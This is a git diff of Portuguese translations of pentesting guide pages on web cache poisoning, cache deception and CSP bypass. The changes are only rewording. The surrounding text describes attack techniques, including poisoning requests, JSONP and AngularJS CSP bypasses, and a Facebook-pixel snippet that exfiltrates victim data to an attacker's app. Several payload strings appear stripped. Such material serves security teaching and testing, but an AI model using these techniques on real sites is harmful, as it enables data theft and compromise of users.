-Às vezes, você precisará **explorar várias entradas não chaveadas** para poder abusar de um cache. Por exemplo, você pode encontrar um **redirecionamento aberto** se definir `X-Forwarded-Host` para um domínio controlado por você e `X-Forwarded-Scheme` para `http`. **Se** o **servidor** estiver **encaminhando** todas as **requisições HTTP** **para HTTPS** e usando o cabeçalho `X-Forwarded-Scheme` como o nome do domínio para o redirecionamento. Você pode controlar para onde a página é apontada pelo redirecionamento.
+Às vezes, você precisará **explorar várias entradas não chaveadas** para poder abusar de um cache. Por exemplo, você pode encontrar um **Redirecionamento aberto** se definir `X-Forwarded-Host` para um domínio controlado por você e `X-Forwarded-Scheme` para `http`. **Se** o **servidor** estiver **encaminhando** todas as **requisições HTTP** **para HTTPS** e usando o cabeçalho `X-Forwarded-Scheme` como o nome do domínio para o redirecionamento. Você pode controlar para onde a página é apontada pelo redirecionamento.
```markup
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
@@ -164,7 +164,7 @@ Enviar um valor inválido no cabeçalho content-type acionou uma resposta 405 em
### GitLab + GCP CP-DoS
-O GitLab usa buckets do GCP para armazenar conteúdo estático. **Buckets do GCP** suportam o **cabeçalho `x-http-method-override`**. Assim, era possível enviar o cabeçalho `x-http-method-override: HEAD` e envenenar o cache para retornar um corpo de resposta vazio. Também poderia suportar o método `PURGE`.
+GitLab usa buckets GCP para armazenar conteúdo estático. **Buckets GCP** suportam o **cabeçalho `x-http-method-override`**. Assim, era possível enviar o cabeçalho `x-http-method-override: HEAD` e envenenar o cache para retornar um corpo de resposta vazio. Também poderia suportar o método `PURGE`.
### Rack Middleware (Ruby on Rails)
@@ -176,7 +176,7 @@ O Cloudflare anteriormente armazenava em cache respostas 403. Tentar acessar S3
### Injetando Parâmetros Chaveados
-Os caches frequentemente incluem parâmetros GET específicos na chave de cache. Por exemplo, o Varnish do Fastly armazenou em cache o parâmetro `size` em solicitações. No entanto, se uma versão codificada em URL do parâmetro (por exemplo, `siz%65`) também fosse enviada com um valor incorreto, a chave de cache seria construída usando o parâmetro `size` correto. No entanto, o backend processaria o valor no parâmetro codificado em URL. A codificação em URL do segundo parâmetro `size` levou à sua omissão pelo cache, mas sua utilização pelo backend. Atribuir um valor de 0 a esse parâmetro resultou em um erro 400 Bad Request que poderia ser armazenado em cache.
+Os caches frequentemente incluem parâmetros GET específicos na chave de cache. Por exemplo, o Varnish da Fastly armazenava em cache o parâmetro `size` nas solicitações. No entanto, se uma versão codificada em URL do parâmetro (por exemplo, `siz%65`) também fosse enviada com um valor incorreto, a chave de cache seria construída usando o parâmetro `size` correto. No entanto, o backend processaria o valor no parâmetro codificado em URL. A codificação em URL do segundo parâmetro `size` levou à sua omissão pelo cache, mas sua utilização pelo backend. Atribuir um valor de 0 a esse parâmetro resultou em um erro 400 Bad Request que poderia ser armazenado em cache.
### Regras de User Agent
@@ -184,7 +184,7 @@ Alguns desenvolvedores bloqueiam solicitações com user-agents que correspondem
### Campos de Cabeçalho Ilegais
-O [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) especifica os caracteres aceitáveis nos nomes dos cabeçalhos. Cabeçalhos contendo caracteres fora do intervalo **tchar** especificado devem idealmente acionar uma resposta 400 Bad Request. Na prática, os servidores nem sempre aderem a esse padrão. Um exemplo notável é o Akamai, que encaminha cabeçalhos com caracteres inválidos e armazena em cache qualquer erro 400, desde que o cabeçalho `cache-control` não esteja presente. Um padrão explorável foi identificado onde enviar um cabeçalho com um caractere ilegal, como `\`, resultaria em um erro 400 Bad Request que poderia ser armazenado em cache.
+O [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) especifica os caracteres aceitáveis nos nomes dos cabeçalhos. Cabeçalhos contendo caracteres fora do intervalo **tchar** especificado devem idealmente acionar uma resposta 400 Bad Request. Na prática, os servidores nem sempre aderem a esse padrão. Um exemplo notável é o Akamai, que encaminha cabeçalhos com caracteres inválidos e armazena em cache qualquer erro 400, desde que o cabeçalho `cache-control` não esteja presente. Um padrão explorável foi identificado onde o envio de um cabeçalho com um caractere ilegal, como `\`, resultaria em um erro 400 Bad Request que poderia ser armazenado em cache.
### Encontrando novos cabeçalhos
@@ -194,7 +194,7 @@ O [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) especifica os caracte
O objetivo da Decepção de Cache é fazer com que os clientes **carreguem recursos que serão salvos pelo cache com suas informações sensíveis**.
-Primeiro, note que **extensões** como `.css`, `.js`, `.png` etc. são geralmente **configuradas** para serem **salvas** no **cache.** Portanto, se você acessar `www.example.com/profile.php/nonexistent.js`, o cache provavelmente armazenará a resposta porque vê a **extensão** `.js`. Mas, se a **aplicação** estiver **reproduzindo** com os conteúdos **sensíveis** do usuário armazenados em _www.example.com/profile.php_, você pode **roubar** esses conteúdos de outros usuários.
+Primeiro, note que **extensões** como `.css`, `.js`, `.png` etc. geralmente são **configuradas** para serem **salvas** no **cache.** Portanto, se você acessar `www.example.com/profile.php/nonexistent.js`, o cache provavelmente armazenará a resposta porque vê a **extensão** `.js`. Mas, se a **aplicação** estiver **reproduzindo** com os conteúdos **sensíveis** do usuário armazenados em _www.example.com/profile.php_, você pode **roubar** esses conteúdos de outros usuários.
Outras coisas a testar:
@@ -209,13 +209,13 @@ Outro exemplo muito claro pode ser encontrado neste relatório: [https://hackero
No exemplo, é explicado que se você carregar uma página inexistente como _http://www.example.com/home.php/non-existent.css_, o conteúdo de _http://www.example.com/home.php_ (**com as informações sensíveis do usuário**) será retornado e o servidor de cache salvará o resultado.\
Então, o **atacante** pode acessar _http://www.example.com/home.php/non-existent.css_ em seu próprio navegador e observar as **informações confidenciais** dos usuários que acessaram antes.
-Note que o **proxy de cache** deve ser **configurado** para **armazenar em cache** arquivos **com base** na **extensão** do arquivo (_.css_) e não com base no content-type. No exemplo _http://www.example.com/home.php/non-existent.css_ terá um content-type `text/html` em vez de um tipo MIME `text/css` (que é o esperado para um arquivo _.css_).
+Note que o **proxy de cache** deve ser **configurado** para **armazenar em cache** arquivos **baseados** na **extensão** do arquivo (_.css_) e não com base no content-type. No exemplo _http://www.example.com/home.php/non-existent.css_ terá um content-type `text/html` em vez de um tipo mime `text/css` (que é o esperado para um arquivo _.css_).
Aprenda aqui como realizar [ataques de Decepção de Cache abusando do HTTP Request Smuggling](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception).
## Ferramentas Automáticas
-- [**toxicache**](https://github.com/xhzeem/toxicache): Scanner em Golang para encontrar vulnerabilidades de envenenamento de cache web em uma lista de URLs e testar várias técnicas de injeção.
+- [**toxicache**](https://github.com/xhzeem/toxicache): Scanner Golang para encontrar vulnerabilidades de envenenamento de cache web em uma lista de URLs e testar várias técnicas de injeção.
## Referências
diff --git a/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md b/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md
index c2a9bc7d7..1eadbe05c 100644
--- a/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md
+++ b/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md
@@ -92,7 +92,7 @@ Not Found
```
- **Normalização de caminho**
-Algumas páginas retornarão códigos de erro enviando dados URLencode no caminho, no entanto, o servidor de cache fará URLdecode do caminho e armazenará a resposta para o caminho URLdecoded:
+Algumas páginas retornarão códigos de erro enviando dados URLencode no caminho, no entanto, o servidor de cache irá URLdecode o caminho e armazenar a resposta para o caminho URLdecoded:
```
GET /api/v1%2e1/user HTTP/1.1
Host: redacted.com
diff --git a/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md b/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md
index c7a979fb8..1fe0d8325 100644
--- a/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md
+++ b/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md
@@ -5,7 +5,7 @@
Este é um resumo das técnicas propostas no post [https://portswigger.net/research/gotta-cache-em-all](https://portswigger.net/research/gotta-cache-em-all) para realizar ataques de cache poisoning **abusando das discrepâncias entre proxies de cache e servidores web.**
> [!NOTE]
-> O objetivo deste ataque é **fazer o servidor de cache pensar que um recurso estático está sendo carregado**, para que ele o armazene em cache, enquanto o servidor de cache armazena como chave de cache parte do caminho, mas o servidor web responde resolvendo outro caminho. O servidor web resolverá o caminho real, que carregará uma página dinâmica (que pode armazenar informações sensíveis sobre o usuário, um payload malicioso como XSS ou redirecionar para carregar um arquivo JS do site do atacante, por exemplo).
+> O objetivo deste ataque é **fazer o servidor de cache pensar que um recurso estático está sendo carregado** para que ele o armazene em cache, enquanto o servidor de cache armazena como chave de cache parte do caminho, mas o servidor web responde resolvendo outro caminho. O servidor web resolverá o caminho real que carregará uma página dinâmica (que pode armazenar informações sensíveis sobre o usuário, um payload malicioso como XSS ou redirecionar para carregar um arquivo JS do site do atacante, por exemplo).
## Delimitadores
@@ -47,6 +47,6 @@ Vários servidores de cache sempre armazenarão uma resposta se for identificada
- **Diretórios estáticos bem conhecidos**: Os seguintes diretórios contêm arquivos estáticos e, portanto, suas respostas devem ser armazenadas em cache: /static, /assets, /wp-content, /media, /templates, /public, /shared
- É possível forçar um cache armazenando uma resposta dinâmica usando um delimitador, um diretório estático e pontos, como: `/home/..%2fstatic/something` armazenará `/static/something` e a resposta será `/home`
- **Diretórios estáticos + pontos**: Uma requisição para `/static/..%2Fhome` ou para `/static/..%5Chome` pode ser armazenada em cache como está, mas a resposta pode ser `/home`
-- **Arquivos estáticos:** Alguns arquivos específicos são sempre armazenados em cache, como `/robots.txt`, `/favicon.ico` e `/index.html`. O que pode ser abusado como `/home/..%2Frobots.txt`, onde o cache pode armazenar `/robots.txt` e o servidor de origem responder a `/home`.
+- **Arquivos estáticos:** Alguns arquivos específicos são sempre armazenados em cache, como `/robots.txt`, `/favicon.ico` e `/index.html`. O que pode ser abusado como `/home/..%2Frobots.txt` onde o cache pode armazenar `/robots.txt` e o servidor de origem responder a `/home`.
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md
index a81d91531..fc1c244fc 100644
--- a/src/pentesting-web/content-security-policy-csp-bypass/README.md
+++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md
@@ -4,7 +4,7 @@
## O que é CSP
-Content Security Policy (CSP) é reconhecida como uma tecnologia de navegador, principalmente destinada a **proteger contra ataques como cross-site scripting (XSS)**. Funciona definindo e detalhando caminhos e fontes de onde os recursos podem ser carregados de forma segura pelo navegador. Esses recursos abrangem uma variedade de elementos, como imagens, frames e JavaScript. Por exemplo, uma política pode permitir o carregamento e a execução de recursos do mesmo domínio (self), incluindo recursos inline e a execução de código em string através de funções como `eval`, `setTimeout` ou `setInterval`.
+Content Security Policy (CSP) é reconhecido como uma tecnologia de navegador, principalmente destinada a **proteger contra ataques como cross-site scripting (XSS)**. Funciona definindo e detalhando caminhos e fontes de onde os recursos podem ser carregados de forma segura pelo navegador. Esses recursos abrangem uma variedade de elementos, como imagens, frames e JavaScript. Por exemplo, uma política pode permitir o carregamento e a execução de recursos do mesmo domínio (self), incluindo recursos inline e a execução de código em string através de funções como `eval`, `setTimeout` ou `setInterval`.
A implementação do CSP é realizada através de **cabeçalhos de resposta** ou incorporando **elementos meta na página HTML**. Seguindo essa política, os navegadores aplicam proativamente essas estipulações e bloqueiam imediatamente quaisquer violações detectadas.
@@ -88,13 +88,13 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
```
-- `'sha256-'`: Lista branca scripts com um hash sha256 específico.
-- `'strict-dynamic'`: Permite carregar scripts de qualquer fonte se tiver sido listado por um nonce ou hash.
+- `'sha256-'`: Adiciona à lista branca scripts com um hash sha256 específico.
+- `'strict-dynamic'`: Permite carregar scripts de qualquer fonte se tiver sido adicionado à lista branca por um nonce ou hash.
- `'host'`: Especifica um host específico, como `example.com`.
- `https:`: Restringe URLs àquelas que usam HTTPS.
- `blob:`: Permite que recursos sejam carregados de URLs Blob (por exemplo, URLs Blob criadas via JavaScript).
- `filesystem:`: Permite que recursos sejam carregados do sistema de arquivos.
-- `'report-sample'`: Inclui uma amostra do código violador no relatório de violação (útil para depuração).
+- `'report-sample'`: Inclui uma amostra do código que viola a política no relatório de violação (útil para depuração).
- `'strict-origin'`: Semelhante a 'self', mas garante que o nível de segurança do protocolo das fontes corresponda ao documento (apenas origens seguras podem carregar recursos de origens seguras).
- `'strict-origin-when-cross-origin'`: Envia URLs completas ao fazer solicitações de mesma origem, mas apenas envia a origem quando a solicitação é de origem cruzada.
- `'unsafe-allow-redirects'`: Permite que recursos sejam carregados que redirecionarão imediatamente para outro recurso. Não recomendado, pois enfraquece a segurança.
@@ -153,15 +153,15 @@ Payloads funcionais:
```yaml
Content-Security-Policy: script-src 'self'; object-src 'none' ;
```
-Se você puder fazer upload de um arquivo JS, poderá contornar este CSP:
+Se você puder fazer upload de um arquivo JS, pode contornar este CSP:
Carga útil funcional:
```markup
"/>'>
```
-No entanto, é altamente provável que o servidor **valide o arquivo enviado** e só permita que você **envie determinados tipos de arquivos**.
+No entanto, é altamente provável que o servidor esteja **validando o arquivo enviado** e só permitirá que você **envie um tipo determinado de arquivos**.
-Além disso, mesmo que você conseguisse enviar um **código JS dentro** de um arquivo usando uma extensão aceita pelo servidor (como: _script.png_), isso não seria suficiente porque alguns servidores, como o servidor Apache, **selecionam o tipo MIME do arquivo com base na extensão** e navegadores como o Chrome **rejeitam executar código Javascript** dentro de algo que deveria ser uma imagem. "Felizmente", existem erros. Por exemplo, em um CTF, aprendi que **o Apache não conhece** a extensão _**.wave**_, portanto, não a serve com um **tipo MIME como audio/\***.
+Além disso, mesmo que você conseguisse enviar um **código JS dentro** de um arquivo usando uma extensão aceita pelo servidor (como: _script.png_), isso não seria suficiente porque alguns servidores, como o servidor Apache, **selecionam o tipo MIME do arquivo com base na extensão** e navegadores como o Chrome **rejeitam executar código Javascript** dentro de algo que deveria ser uma imagem. "Felizmente", há erros. Por exemplo, em um CTF, aprendi que **o Apache não conhece** a extensão _**.wave**_, portanto, não a serve com um **tipo MIME como audio/\***.
A partir daqui, se você encontrar um XSS e um upload de arquivo, e conseguir encontrar uma **extensão mal interpretada**, você poderia tentar enviar um arquivo com essa extensão e o conteúdo do script. Ou, se o servidor estiver verificando o formato correto do arquivo enviado, crie um poliglota ([alguns exemplos de poliglota aqui](https://github.com/Polydet/polyglot-database)).
@@ -274,7 +274,7 @@ Abusando \*.google.com/script.google.com
```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
-Cenários como este, onde `script-src` está definido como `self` e um domínio específico que está na lista branca pode ser contornado usando JSONP. Os endpoints JSONP permitem métodos de callback inseguros que permitem a um atacante realizar XSS, payload funcional:
+Cenários como este, onde `script-src` está definido como `self` e um domínio específico que está na lista branca pode ser contornado usando JSONP. Os endpoints JSONP permitem métodos de callback inseguros que permitem a um atacante realizar XSS, carga útil em funcionamento:
```markup
">
">
@@ -286,22 +286,22 @@ https://www.youtube.com/oembed?callback=alert;
```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **contém endpoints JSONP prontos para usar para contornar o CSP de diferentes sites.**
-A mesma vulnerabilidade ocorrerá se o **endpoint confiável contiver um Open Redirect** porque, se o endpoint inicial for confiável, os redirecionamentos são confiáveis.
+A mesma vulnerabilidade ocorrerá se o **endpoint confiável contiver um Redirecionamento Aberto** porque, se o endpoint inicial for confiável, os redirecionamentos são confiáveis.
### Abusos de Terceiros
Como descrito no [seguinte post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), existem muitos domínios de terceiros que podem ser permitidos em algum lugar no CSP, e podem ser abusados para exfiltrar dados ou executar código JavaScript. Alguns desses terceiros são:
-| Entidade | Domínio Permitido | Capacidades |
-| ----------------- | ------------------------------------------- | ------------ |
-| Facebook | www.facebook.com, \*.facebook.com | Exfil |
-| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
-| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
-| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
-| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
-| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec |
-| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
-| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
+| Entidade | Domínio Permitido | Capacidades |
+| ------------------- | ------------------------------------------- | ------------ |
+| Facebook | www.facebook.com, \*.facebook.com | Exfil |
+| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
+| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
+| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
+| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
+| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec |
+| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
+| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
Se você encontrar algum dos domínios permitidos no CSP do seu alvo, há chances de que você possa contornar o CSP registrando-se no serviço de terceiros e, ou exfiltrando dados para esse serviço ou executando código.
@@ -318,11 +318,11 @@ Você deve ser capaz de exfiltrar dados, da mesma forma que sempre foi feito com
1. Crie uma conta de desenvolvedor do Facebook aqui.
2. Crie um novo aplicativo "Facebook Login" e selecione "Website".
3. Vá para "Configurações -> Básico" e obtenha seu "App ID".
-4. No site alvo de onde você deseja exfiltrar dados, você pode exfiltrar dados usando diretamente o gadget "fbq" do SDK do Facebook através de um "customEvent" e o payload de dados.
+4. No site alvo de onde você deseja exfiltrar dados, você pode exfiltrar dados usando diretamente o gadget "fbq" do Facebook através de um "customEvent" e o payload de dados.
5. Vá para o "Gerenciador de Eventos" do seu aplicativo e selecione o aplicativo que você criou (note que o gerenciador de eventos pode ser encontrado em uma URL semelhante a esta: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
6. Selecione a aba "Test Events" para ver os eventos sendo enviados pelo "seu" site.
-Então, do lado da vítima, você executa o seguinte código para inicializar o pixel de rastreamento do Facebook para apontar para o app-id da conta de desenvolvedor do Facebook do atacante e emitir um evento personalizado assim:
+Então, do lado da vítima, você executa o seguinte código para inicializar o pixel de rastreamento do Facebook para apontar para o app-id da conta de desenvolvedor do Facebook do atacante e emitir um evento personalizado como este:
```JavaScript
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
@@ -383,7 +383,7 @@ Este trecho destaca o uso da diretiva `ng-focus` para acionar o evento, empregan
```
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
```
-Uma política CSP que permite domínios para carregamento de scripts em uma aplicação Angular JS pode ser contornada através da invocação de funções de callback e certas classes vulneráveis. Mais informações sobre esta técnica podem ser encontradas em um guia detalhado disponível neste [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
+Uma política CSP que permite domínios para carregamento de scripts em uma aplicação Angular JS pode ser contornada através da invocação de funções de callback e certas classes vulneráveis. Mais informações sobre essa técnica podem ser encontradas em um guia detalhado disponível neste [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
Payloads funcionais:
```html
@@ -419,7 +419,7 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
.png)